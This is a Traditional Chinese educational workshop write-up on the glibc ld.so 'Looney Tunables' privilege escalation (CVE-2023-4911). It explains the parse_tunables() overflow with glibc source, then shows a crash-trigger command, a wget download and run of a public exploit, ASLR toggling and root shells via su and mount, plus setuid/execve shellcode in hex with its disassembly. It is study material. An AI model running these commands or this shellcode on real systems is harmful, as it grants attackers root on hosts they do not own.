Looney Tunables 本地權限升級 (CVE-2023-4911) 研討會（僅用於教育目的）
在計算中，動態連結器是作業系統的一部分，透過將庫內容從持久性儲存複製到 RAM、填充跳躍表和重定位指針，載入和連結可執行檔案執行時所需的共享庫。
例如，我們有使用 openssl 函式庫計算 md5 哈希的程式：
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
ld.so 解析二進位檔案並嘗試尋找與 <openssl/md5.h> 相關的庫
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
正如我們所看到的，它在/lib/x86_64-linux-gnu/libcrypto.so.3中找到了必要的加密庫。所有引用連結到該庫。
當程式啟動時，該載入程式首先檢查該程式以確定其所需的共用庫。然後它會搜尋這些庫，將它們加載到記憶體中，並在運行時將它們與可執行檔連結。在此過程中，動態載入器解析符號引用，例如函數和變數引用，確保為程式的執行做好一切準備。鑑於其作用，動態載入程式對安全性高度敏感，因為當本機使用者啟動 set-user-ID 或 set-group-ID 程式時，其程式碼會以提升的權限執行。
可調參數是 GNU C 庫中的一項功能，允許應用程式作者和發行版維護人員更改運行時庫行為以匹配其工作負載。它們被實現為一組可以以不同方式修改的開關。目前執行此操作的預設方法是透過 GLIBC_TUNABLES 環境變量，將其設為冒號分隔的名稱=值對的字串。例如，以下範例啟用 malloc 檢查並將 malloc 修剪閾值設為 128 位元組：
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
將 --list-tunables 傳遞給動態載入程式以列印具有最小值和最大值的所有可調參數：
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
在執行的一開始，ld.so 呼叫 __tunables_init() 來遍歷環境（第 279 行），搜尋 GLIBC_TUNABLES 變數（第 282 行）；對於它找到的每個 GLIBC_TUNABLES，它都會複製該變數（第 284 行），呼叫 parse_tunables() 來處理和清理該副本（第 286 行），最後用該清理後的副本取代原始 GLIBC_TUNABLES（第 288 行） ）：
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 } parse_tunables() (tunestr) 的第一個參數指向即將清理的 GLIBC_TUNABLES 副本，而第二個參數 (valstring) 指向原始 GLIBC_TUNABLES 環境變數（在堆疊中）。為了清理 GLIBC_TUNABLES 的副本（其形式應為 "tunable1= aaa:tunable2=bbb" ），parse_tunables() 會從unestr 中刪除所有危險的可調參數（SXID_ERASE 可調參數），但保留SXID_IGNORE 和NONE 可調參數（位於第221 行） 235）：
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }不幸的是，如果 GLIBC_TUNABLES 環境變數的形式為「tunable1=tunable2=AAA」（其中「tunable1」和「tunable2」是 SXID_IGNORE 可調參數，例如「glibc.malloc.mxfast」），則：
在 parse_tunables() 中的「while (true)」的第一次迭代期間，整個「tunable1=tunable2=AAA」就地複製到tunestr（第221-235行），從而填入tunestr；
在第247-248行，p沒有遞增（p[len]是' '，因為在第203-204行沒有找到':'），因此p仍然指向「tunable1」的值，即「tunable2= AAA 」；
在 parse_tunables() 中「while (true)」的第二次迭代期間，「tunable2=AAA」被附加（就好像它是第二個可調參數）到unestr（已經滿了），從而溢出了unestr。
命令：
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)有效負載：
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
長度 -> 8236 位元組
這個漏洞是一個簡單的緩衝區溢出，但是我們應該重寫什麼來實現任意程式碼執行呢？我們溢出的緩衝區是由tunables_strdup() 在第284 行分配的，這是strdup() 的重新實現，它使用ld.so 的__minimal_malloc() 而不是glibc 的malloc() （事實上，glibc 的malloc () 尚未初始化） ）。這個 __minimal_malloc() 實作只是呼叫 mmap() 從核心取得更多記憶體。
我們來看看這段程式碼：
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */ ld.so 使用 calloc() 為該 link_map 結構分配內存，因此不會明確地將其各種成員初始化為零；這是一個合理的優化。前面提到，這裡的calloc()不是glibc的calloc()而是ld.so的__minimal_calloc()，它呼叫__minimal_malloc()時沒有明確初始化記憶體它就回傳零；這也是一個合理的最佳化，因為無論出於何種目的，__minimal_malloc() 總是傳回一個乾淨的 mmap() 記憶體區塊，保證由核心初始化為零。
不幸的是，parse_tunables() 中的緩衝區溢位允許我們用非零位元組覆蓋乾淨的 mmap() 內存，從而用非 NULL 值覆蓋即將分配的 link_map 結構的指標。這讓我們完全打破了 ld.so 的邏輯，它假設這些指標為 NULL。
我們意識到 link_map 結構中的更多指標沒有明確初始化為 NULL；特別是 l_info[] 指標數組中指向 Elf64_Dyn 結構的指標。其中，
l_info[DT_RPATH]，即“庫搜尋路徑”，立即脫穎而出：如果我們覆蓋這個指標並控制它指向的位置和內容，那麼我們可以強制 ld.so 信任我們擁有的目錄，因此從該目錄加載我們自己的libc.so.6 或LD_PRELOAD 函式庫，並執行任意程式碼（作為root，如果我們透過SUID-root 程式執行ld.so）。
被覆蓋的
l_info[DT_RPATH]應該指向哪裡？這個問題的簡單答案是：堆疊；更準確地說，我們的環境字串在堆疊中。在Linux 上，堆疊在16GB 區域中隨機化，我們的環境字串最多可以佔用6MB（_STK_LIM / 4 * 3，在內核的bprm_stack_limits() 中）：在16GB / 6MB = 2730 次嘗試後，我們很有可能猜測我們的環境字串的位址（在我們的漏洞利用中，我們總是用 0x7ffdfffff010（隨機堆疊區域的中心）覆蓋l_info[DT_RPATH]）。在我們的測試中，這種暴力破解在Debian 上大約需要30 秒，在Ubuntu 和Fedora 上大約需要5 分鐘（因為它們的自動崩潰處理程序、Appport 和ABRT；我們還沒有嘗試解決這種速度下降的問題）。
被覆蓋的 l_info[DT_RPATH] 應該指向什麼？在我們的漏洞利用中，我們只需用0xfffffffffffffffff8 (-8) 填充6MB 的環境字串，因為在大多數SUID 根程式的字串表下方的-8B 偏移處，會出現字串“x08” ：這會強制ld.so信任名為「x08」的相對目錄（在我們目前的工作目錄中），因此允許我們以root 身分從該目錄載入並執行我們自己的libc.so.6 或LD_PRELOAD 庫。
方案：
我正在使用舊的 kali linux 快照來測試 PoC。讓我們檢查一下它是否容易受到攻擊：
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/s我們收到了 SIGSEGV，因此我們的系統容易受到此 CVE LPE 的攻擊！
讓我們下載PoC腳本並測試它：
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
所以，我們的 ld.so 建置 ID 不在目標清單中，讓我們修復它！停用 ASLR：
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "再次檢查：
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
因此，我們的 POC 腳本找到了一些有用的偏移量，讓我們將 ld.so 建置 id 和偏移量新增至腳本： 傳回 ASLR：
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "讓我們再次嘗試 PoC 腳本：
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
有用！
它還可以處理另一個 SUID 檔案：
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP > [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
在 PoC 腳本的開頭，我們有一個帶有一些處理器架構的字典 ARCH（我使用它時只留下了 x86_64）。在這本字典中我們有
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v : binascii . unhexlify ( v . replace ( " " , "" ))
ARCH = {
"x86_64" : {
"shellcode" : unhex (
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode" : unhex ( "6a665f6a3c580f05" ), # asm(shellcraft.exit(0x66)).hex()
"stack_top" : 0x800000000000 ,
"stack_aslr_bits" : 30 , # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}Shellcode反彙編
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscall退出代碼反彙編
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscall接下來我們有一個帶有目標的字典（ld.so build id）及其緩衝區溢位偏移量
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}然後，有許多函數根據其功能命名，並且大多數可以用 pwntools 庫中的方法替換。所以我不認為詳細討論它們有什麼意義，除了其中一些
